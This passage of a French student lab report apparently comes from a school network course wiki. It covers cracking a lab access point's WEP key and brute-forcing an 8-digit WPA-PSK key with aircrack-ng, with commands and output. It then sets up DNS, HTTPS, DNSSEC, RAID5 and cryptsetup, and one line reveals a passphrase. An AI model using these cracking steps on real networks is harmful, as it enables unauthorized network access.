&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite pour passer la carte WIFI en mode '''monitor''', il faut taper la commande &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
airmon-ng start wlan3	       #&lt;br /&gt;
		#	check_cert_cn = %{User-Name}&lt;br /&gt;
		#&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
En même temps une interface mon0 est crée, cette interface est la même que le wlan3 sauf qu'elle est en mode '''monitor'''. Son rôle est d’écouter toutes les trames qui passent les interfaces.&lt;br /&gt;
Pour trouver les informations plus précisés de cette interface de monitor, avec l'aide de la commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
airodump-ng mon0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
J'obtiens &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
BSSID                 PWR    Beacons    #Data,   #/s    CH     MB      ENC     CIPHER    AUTH      ESSID&lt;br /&gt;
00:12:D9:B7:E7:D0     -77          3        0      0    12     54e.    WPA2    CCMP      MGT       &amp;lt;length: 1&amp;gt;&lt;br /&gt;
C8:00:84:84:00:54     -79         15        0      0     9     54e.    WPA2    CCMP      MGT       PolytechLille&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour surveiller les réseaux WIFI, il faut lancer &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
airodump-ng -w manchot -c 13 --bssid 04:DA:D2:9C:50:54 mon0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Petit Rappel&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
-w permet de créer un fichier de capture dans lequel seront enregistrés tous les paquets.&lt;br /&gt;
-c permet de cibler l'écoute sur un canal wifi particulier. &lt;br /&gt;
--bssid permet de ne cibler qu'un seul point d'accès en fonction de son adresse mac. &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Quatre fichiers manchots sont crées&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
manchot-01.cap    manchot-01.csv    manchot-01.kismet.csv    manchot-01.kismet.netxml&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Finalement il faut lancer l'algorithme de craquage de la clef WEP&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
aircrack-ng manchot-01.cap&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Sur mon shell, j'obtiens&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Aircrack-ng 1.2 beta3&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                 [00:00:00] Tested 782 keys (got 276993 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 15   EE(374528) 78(301568) 0B(298752) 11(296960) 87(294656)&lt;br /&gt;
    1    0/  2   46(383488) A8(300544) 6D(297216) FF(295680) 25(295168)&lt;br /&gt;
    2    9/  2   C3(291840) 28(290304) 85(290048) F7(290048) 19(289792)&lt;br /&gt;
    3    6/  3   D4(294400) 30(294144) 94(294144) BD(294144) 14(293632)&lt;br /&gt;
    4    0/  1   1F(383488) 3F(296960) A8(296960) 83(296192) 1A(295936)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:E4:44:44 ]&lt;br /&gt;
    Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;h4&amp;gt;c) Cassage de mot de passe WPA-PSK par force brute&amp;lt;/h4&amp;gt;&lt;br /&gt;
Pour cette partie, il faut reprendre les étapes pour la cassage de clef WEP d'un point d'accès Wifi. Mais il faut créer un dictionnaire pour toutes les possibilités de la clef WPA qui est un nombre sur 8 chiffres. Le code pour la dictionnaire est&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
#include &amp;lt;time.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
  int i;&lt;br /&gt;
  for (i=0; i&amp;lt;1000000; i++)&lt;br /&gt;
  {&lt;br /&gt;
    printf(&amp;quot;%08d\n&amp;quot;,i);&lt;br /&gt;
  }&lt;br /&gt;
  return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite il faut lancer la commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
aircrack-ng -w dictionnaire record-01.cap&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Donc j'ai eu&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 # BSSID                   ESSID                       Encryption&lt;br /&gt;
 1 04:DA:D2:9C:50:52       cracotte03                  WPA (1 handshake)&lt;br /&gt;
Choosing first network as target.&lt;br /&gt;
&lt;br /&gt;
Opening record-01.cap&lt;br /&gt;
Reading packets, please wait...&lt;br /&gt;
                               Aircrack-ng 1.2 beta3&lt;br /&gt;
          &lt;br /&gt;
                   [00:57:58] 12399908 keys tested (3650.27 k/s)&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 12399903 ]&lt;br /&gt;
     &lt;br /&gt;
         Master Key    : 33 2B 69 DD 95 0A 5A E0 01 22 7E FF 98 DA 99 87&lt;br /&gt;
                         40 7A CB CC 8A E5 32 9F FE 4E 5C 44 91 38 13 93&lt;br /&gt;
   &lt;br /&gt;
         Transient Key : 86 B4 17 90 2B BE 9E CA 9A 5E 59 D7 F4 D9 94 A7&lt;br /&gt;
                         AE 0D 63 1C 83 3B 48 C4 FF 01 C4 85 4B 32 7F C0&lt;br /&gt;
                         9A CE DC 63 D6 3A 72 16 1E BE E4 CE 5D 1C B1 3D&lt;br /&gt;
                         1F 91 A1 F5 F4 1A 50 17 B9 55 0F 9F D4 3B 94 BD&lt;br /&gt;
&lt;br /&gt;
         EAPOL HMAC    : B3 F0 FA 27 2F E6 2E A4 73 F9 55 14 C7 4A 72 E0 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Partie VII - Services Internet &amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;h4&amp;gt;a) Travail à effectuer&amp;lt;/h4&amp;gt;&lt;br /&gt;
Principal travail: Dans cette partie il faut réaliser un site Web sécurisé&lt;br /&gt;
&amp;lt;h4&amp;gt;b) Serveur DNS&amp;lt;/h4&amp;gt;&lt;br /&gt;
Sur le registrar Gandi, j'ai réservé un nom DNS '''mulan.website''' sur Gandi. Ensuite il faut installer '''bind9''' sur le serveur virtuel xen  pour donner les adresses correspondant à mon nom de réseau IP, au nom de mon interface de routeur, au nom de ma machine et au nom de l'adresse de diffusion de mon réseau IP. Cependant pour régler le problème de changer l'adresse du passerelle il faut faire '''/etc/network/interfaces''' et '''/etc/resolv.conf'''&lt;br /&gt;
Dans mon répertoire''' /etc/bind''' j'ai rajouté un fichier de description de zone'''db.mulan.website''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
; TTL (Time To Live)&lt;br /&gt;
$TTL	604800&lt;br /&gt;
&lt;br /&gt;
; Informations générales&lt;br /&gt;
@	IN	SOA	ns.mulnan.website. root.mulan.website. (&lt;br /&gt;
			12		; Serial&lt;br /&gt;
			604800		; Refresh&lt;br /&gt;
			86400		; Retry&lt;br /&gt;
			2419200		; Expire&lt;br /&gt;
			604800  )	; Negative Cache TTL&lt;br /&gt;
;&lt;br /&gt;
&lt;br /&gt;
	IN	NS	ns6.gandi.net.&lt;br /&gt;
	IN	NS	ns.mulan.website.&lt;br /&gt;
        IN      NS      100 ns.mulan.website.&lt;br /&gt;
&lt;br /&gt;
ns	IN	A	193.48.57.164&lt;br /&gt;
www	IN	A	193.48.57.164&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Petit Rappel&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Les dernières 4 lignes sont les détails du domaine,de ses sous-domaines,etc.C'est là qu'on fait notamment l'association entre l'IP et le nom de domaine.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Dans le fichier '''named.conf.local''' il faut rajouter&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
zone &amp;quot;mulan.website&amp;quot;{&lt;br /&gt;
	type master;&lt;br /&gt;
	allow-transfer {193.48.57.170;} ;&lt;br /&gt;
	file &amp;quot;/etc/bind/db.mulan.website&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
'''Attention'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
L'adresse dans allow-transfer doit être l'adresse du serveur esclave.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite pour tester si cela marche ou pas il faut taper les commandes&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
--service bind9 restart&lt;br /&gt;
--cat /var/log/daemon.log&lt;br /&gt;
--host ns.mulan.website 127.0.0.1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
J'obtiens &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Using domain server:&lt;br /&gt;
Name: 127.0.0.1&lt;br /&gt;
Address: 127.0.0.1#53&lt;br /&gt;
Aliases: &lt;br /&gt;
&lt;br /&gt;
ns.mulan.website has address 193.48.57.164&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Je peux conclure que nom DNS correspond bien à mon adresse IP '''193.48.57.164'''&lt;br /&gt;
&amp;lt;h4&amp;gt;c) Sécurisation de site web par certificat &amp;lt;/h4&amp;gt;&lt;br /&gt;
Le travail a été réalisé sur '''Mulan''', il faut générer un '''CSR''' afin d'activer la '''SSL Certification'''. Pour réussir cela, il faut taper la commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout mulan1.key -out mulan1.csr&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Après la création des clefs et le CSR, j'ai obtenu mon certificat SSL sur Gandi. Ensuite j'ai configuré apache2 pour gérer du HTTPS sur le port 443. Pour réussir cela, j'ai crée un fichier mulan.conf.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;   &lt;br /&gt;
  ServerName mulan.website&lt;br /&gt;
  ServerAlias www.mulan.website&lt;br /&gt;
  DocumentRoot /var/www/mulan&lt;br /&gt;
  SSLEngine on&lt;br /&gt;
  SSLCertificateFile &amp;quot;/etc/apache2/mulan.crt&amp;quot;&lt;br /&gt;
  SSLCertificateKeyFile &amp;quot;/etc/apache2/mulan.key&amp;quot;&lt;br /&gt;
  SSLCertificateChainFile &amp;quot;/etc/apache2/gandi.crt&amp;quot;&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  ServerName mulan.website&lt;br /&gt;
  ServerAlias www.mulan.website&lt;br /&gt;
  DocumentRoot /var/www/mulan&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite j'ai créé une page index.html dans /var/www/mulan&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;!DOCTYPE HTML PUBLIC &amp;quot;-//W3C//DTD HTML 4.0//EN&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;HTML&amp;gt;&lt;br /&gt;
 &amp;lt;HEAD&amp;gt;    &lt;br /&gt;
  &amp;lt;TITLE&amp;gt;Mulan&amp;lt;/TITLE&amp;gt;&lt;br /&gt;
 &amp;lt;/HEAD&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
 &amp;lt;BODY&amp;gt;   &lt;br /&gt;
   &lt;br /&gt;
   L'une des plus belles filles du monde!&lt;br /&gt;
   &amp;lt;p style=&amp;quot;text-align:center;&amp;quot;&amp;gt;&amp;lt;img src=&amp;quot;mulan.jpg&amp;quot;/&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
    &lt;br /&gt;
     &amp;lt;/BODY&amp;gt;&lt;br /&gt;
&amp;lt;/HTML&amp;gt;   &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Donc le https://www.mulan.website donne&lt;br /&gt;
[[Fichier:mulan.png|thumb|center|600xp|Page principale]]&lt;br /&gt;
&amp;lt;h4&amp;gt;d) Sécurisation de serveur DNS par DNSSEC&amp;lt;/h4&amp;gt;&lt;br /&gt;
L'objectif de cette partie est de sécuriser mon serveur DNS en signant la zone correspondant à mon nom de domaine.&lt;br /&gt;
Pour réussir cela, il faut certaines étapes.&lt;br /&gt;
1.Dans /etc/bind/named.conf.options,j'ai ajouté&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
dnssec-enable yes;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
2.Ensuite j'ai crée un répertoire mulan.website.dnssec pour gérer tous les clefs dans /etc/bind&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
mkdir mulan.website.dnssec&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
3.J'ai crée la clef asymétrique de signature de clefs de zone&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE mulan.website&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
4.Pour créer la clef asymétrique de la zone pour signer les enregistrement, il faut&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE mulan.website&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
5.J'ai renommé les clefs dans mon répertoire mulan.website.dnssec&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Mulan:/etc/bind/mulan.website.dnssec# ls -l&lt;br /&gt;
total 20&lt;br /&gt;
-rw-r--r-- 1 root bind  171 Dec  7 18:56 dsset-mulan.website.&lt;br /&gt;
-rw-r--r-- 1 root bind  609 Dec  7 18:54 mulan.website-ksk.key&lt;br /&gt;
-rw------- 1 root bind 1774 Dec  7 18:54 mulan.website-ksk.private&lt;br /&gt;
-rw-r--r-- 1 root bind  435 Dec  7 18:55 mulan.website-zsk.key&lt;br /&gt;
-rw------- 1 root bind 1010 Dec  7 18:55 mulan.website-zsk.private&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
6.Dans mon fichier /etc/bind/db.mulan.website, il faut inclure les clefs publiques et incrémenter le numéro de version de la zone&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$include /etc/bind/mulan.website.dnssec/mulan.website-ksk.key&lt;br /&gt;
$include /etc/bind/mulan.website.dnssec/mulan.website-zsk.key&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
7.Après il faut signer les enregistrements de la zone&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
dnssec-signzone -o mulan.website -k mulan.website-ksk ../db.mulan.website mulan.website-zsk&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
8.Ensuite il faut modifier /etc/bind/named.conf.local pour utiliser la zone signée de suffixe .signed&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 zone &amp;quot;mulan.website&amp;quot;{&lt;br /&gt;
	type master;&lt;br /&gt;
	allow-transfer {193.48.57.170;217.70.177.40;} ;&lt;br /&gt;
	file &amp;quot;/etc/bind/db.mulan.website.signed&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
9.La dernière étape est de rajouter la clé ksk dans gandi.net&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:gandi1.png|sécurisation par gandi&lt;br /&gt;
Fichier:gandi2.png|sécurisation par gandi&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
Pour être sur que mon DNS est bien sécurisé, j'ai visualisé sur DNSVIZ&lt;br /&gt;
[[Fichier:dnsviz.png|thumb|center|600xp|Visualisation de la sécurisation de DNS]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Partie VIII - Réalisations  &amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;h4&amp;gt;a) Travail à effectuer&amp;lt;/h4&amp;gt;&lt;br /&gt;
Principal travail: Dans cette section il faut sécuriser un réseau Wifi, faire transiter des flux vidéos via UPnP et installer un auto-commutateur téléphonique logiciel.&lt;br /&gt;
&amp;lt;h4&amp;gt;b) Sécurisation de données&amp;lt;/h4&amp;gt;&lt;br /&gt;
J'ai commencé par créer trois partitions LVM de 1Go&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
lvcreate -L 1G -n /dev/virtual/Mulan-raid1 -v&lt;br /&gt;
lvcreate -L 1G -n /dev/virtual/Mulan-raid2 -v&lt;br /&gt;
lvcreate -L 1G -n /dev/virtual/Mulan-raid3 -v&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite j'ai rajouté trois lignes dans mon fichier /etc/xen/Mulan.cfg&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
'phy:/dev/virtual/Mulan-raid1,xvdd1,w',&lt;br /&gt;
'phy:/dev/virtual/Mulan-raid2,xvde1,w',&lt;br /&gt;
'phy:/dev/virtual/Mulan-raid3,xvdf1,w',&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour utiliser la commande mdadm, il faut d'abord installer le paquetage&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
apt-get install mdadm&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Il faut faut entrer cette commande pour charger le module MD-subsystem &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
apt-get install linux-image-3.16.0-4-amd64&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Après je peux créer volume /dev/md0 grâce à la commande suivante&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdd1 /dev/xvde1 /dev/xvdf1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour visualiser la statue de kernel md&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
cat /proc/mdstat&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
J'ai eu&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
md0 : active raid5 xvdf1[2] xvde1[1] xvdd1[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/3] [UUU]&lt;br /&gt;
      &lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite il faut mounter &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
mount /dev/md0 /mnt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Sur le console, j'ai eu&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
mount: wrong fs type, bad option, bad superblock on /dev/md0,&lt;br /&gt;
       missing codepage or helper program, or other error&lt;br /&gt;
&lt;br /&gt;
       In some cases useful info is found in syslog - try&lt;br /&gt;
       dmesg | tail or so.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite j'ai crée un fichier système &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Mulan:~# mkfs -t ext4 /dev/md0&lt;br /&gt;
mke2fs 1.42.12 (29-Aug-2014)&lt;br /&gt;
Creating filesystem with 523776 4k blocks and 131072 inodes&lt;br /&gt;
Filesystem UUID: 6148741b-9ebd-4ccc-8581-af7bbe3fea3c&lt;br /&gt;
Superblock backups stored on blocks: &lt;br /&gt;
    32768, 98304, 163840, 229376, 294912&lt;br /&gt;
&lt;br /&gt;
Allocating group tables: done                            &lt;br /&gt;
Writing inode tables: done                            &lt;br /&gt;
Creating journal (8192 blocks): done&lt;br /&gt;
Writing superblocks and filesystem accounting information: done &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Après il faut le mounter&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Mulan:~# mount /dev/md0 /mnt&lt;br /&gt;
[17819.221864] EXT4-fs (md0): mounted filesystem with ordered data mode. Opts: (null)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 Pour afficher la valeur d'espace disque disponible des systèmes de fichier dont l'utilisateur possède l'accès en lecture, il faut une commande .df&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Mulan:/mnt# df .&lt;br /&gt;
Filesystem     1K-blocks  Used Available Use% Mounted on&lt;br /&gt;
/dev/md0         2029392  3072   1905184   1% /mnt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour montrer l'espace disque libre listé en format lisible pour l'homme, c'est-à-dire avec le Système_international_d'unités&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Mulan:/mnt# df -h&lt;br /&gt;
Filesystem      Size  Used Avail Use% Mounted on&lt;br /&gt;
/dev/xvda2      3.9G  718M  3.0G  20% /&lt;br /&gt;
udev             10M     0   10M   0% /dev&lt;br /&gt;
tmpfs            50M   88K   50M   1% /run&lt;br /&gt;
tmpfs           5.0M     0  5.0M   0% /run/lock&lt;br /&gt;
tmpfs           125M     0  125M   0% /run/shm&lt;br /&gt;
/dev/xvdb1      9.8G   23M  9.2G   1% /home&lt;br /&gt;
/dev/xvdc1      9.8G  246M  9.0G   3% /var&lt;br /&gt;
/dev/md0        2.0G  3.0M  1.9G   1% /mnt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite j'ai copié le fichier /boot/vmlinuz-3.16.0-4-amd64 .&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Mulan:/mnt# cp /boot/vmlinuz-3.16.0-4-amd64 .&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Après j'ai mit ma partition xvde1 en mode Faulty&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Mulan:~# mdadm --set-faulty /dev/md0 /dev/xvde1&lt;br /&gt;
[17884.887698] md/raid:md0: Disk failure on xvde1, disabling device.&lt;br /&gt;
[17884.887698] md/raid:md0: Operation continuing on 2 devices.&lt;br /&gt;
mdadm: set /dev/xvde1 faulty in /dev/md0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour vérifier dans mon fichier&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Mulan:~# cat /proc/mdstat &lt;br /&gt;
Personalities : [raid6] [raid5] [raid4] &lt;br /&gt;
md0 : active raid5 xvdf1[2] xvde1[1](F) xvdd1[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [U_U]&lt;br /&gt;
      &lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
J'ai bien vu que ma partition xvde1 a changé sa mode en Faulty.&lt;br /&gt;
Pour voir comment le raid marche, j'ai fait un remove et add&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Mulan:~# mdadm --remove /dev/md0 /dev/xvde1&lt;br /&gt;
[17940.265360] md: unbind&amp;lt;xvde1&amp;gt;&lt;br /&gt;
[17940.265378] md: export_rdev(xvde1)&lt;br /&gt;
mdadm: hot removed /dev/xvde1 from /dev/md0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Mulan:~# mdadm --add /dev/md0 /dev/xvde1&lt;br /&gt;
[17946.741301] md: export_rdev(xvde1)&lt;br /&gt;
[17946.774588] md: bind&amp;lt;xvde1&amp;gt;&lt;br /&gt;
mdadm: added /dev/xvde1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Mulan:~# [17946.799645] md: recovery of RAID array md0&lt;br /&gt;
[17946.799650] md: minimum _guaranteed_  speed: 1000 KB/sec/disk.&lt;br /&gt;
[17946.799653] md: using maximum available idle IO bandwidth (but not more than 200000 KB/sec) for recovery.&lt;br /&gt;
[17946.799658] md: using 128k window, over a total of 1047552k.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Donc dans mon fichier du système, j'ai vu la statue a été changée&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Mulan:~# cat /proc/mdstat &lt;br /&gt;
Personalities : [raid6] [raid5] [raid4] &lt;br /&gt;
md0 : active raid5 xvde1[3] xvdf1[2] xvdd1[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [U_U]&lt;br /&gt;
      [=&amp;gt;...................]  recovery =  9.6% (101696/1047552) finish=0.4min speed=33898K/sec&lt;br /&gt;
      &lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Mulan:~# cat /proc/mdstat &lt;br /&gt;
Personalities : [raid6] [raid5] [raid4] &lt;br /&gt;
md0 : active raid5 xvde1[3] xvdf1[2] xvdd1[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [U_U]&lt;br /&gt;
      [=====&amp;gt;...............]  recovery = 29.2% (306320/1047552) finish=0.4min speed=30632K/sec&lt;br /&gt;
      &lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Mulan:~# cat /proc/mdstat &lt;br /&gt;
Personalities : [raid6] [raid5] [raid4] &lt;br /&gt;
md0 : active raid5 xvde1[3] xvdf1[2] xvdd1[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [U_U]&lt;br /&gt;
      [===========&amp;gt;.........]  recovery = 55.2% (578592/1047552) finish=0.2min speed=30452K/sec&lt;br /&gt;
      &lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Mulan:~# [17982.504053] md: md0: recovery done.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
La partition xvde1 a été bien réparé.&lt;br /&gt;
&amp;lt;h4&amp;gt;c) Cryptage de données&amp;lt;/h4&amp;gt;&lt;br /&gt;
Pour cette partie il faut créer une unique partition sur la carte SD de l'eeePC.Pour sécuriser la partition en utilisant l'unitaire crytsetup, j'ai commencé par&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@perche:/home/pifou# cryptsetup create card /dev/mmcblk1p1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite j'ai fait&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Saisissez la phrase secrète :&lt;br /&gt;
root@perche:/home/pifou# # la phrase est chencong&lt;br /&gt;
root@perche:/home/pifou# mkfs /dev/mapper/card&lt;br /&gt;
mke2fs 1.42.12 (29-Aug-2014)&lt;br /&gt;
Creating filesystem with 3777536 4k blocks and 944704 inodes&lt;br /&gt;
Filesystem UUID: 344190aa-fc4f-42a1-9241-ac9910bb11aa&lt;br /&gt;
Superblock backups stored on blocks:&lt;br /&gt;
    32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208&lt;br /&gt;
&lt;br /&gt;
Allocating group tables: done                           &lt;br /&gt;
Writing inode tables: done                           &lt;br /&gt;
Writing superblocks and filesystem accounting information: done &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour monter le périphérique, j'ai fait&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@perche:/home/pifou# mount /dev/mapper/card /mnt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour démonter le périphérique,il fallait taper&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@perche:/home/pifou# umount /mnt&lt;br /&gt;
root@perche:/home/pifou# cryptsetup remove card&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour mieux comprendre comment ca marche le cryptage de données, j'ai crée une autre partition qui s'appelle mulan dans /dev/mmcblk1p1 et puis j'ai refait toutes les étapes&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@perche:/home/pifou# cryptsetup create mulan /dev/mmcblk1p1&lt;br /&gt;
Saisissez la phrase secrète :&lt;br /&gt;
root@perche:/home/pifou# mount /dev/mapper/mulan /mnt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
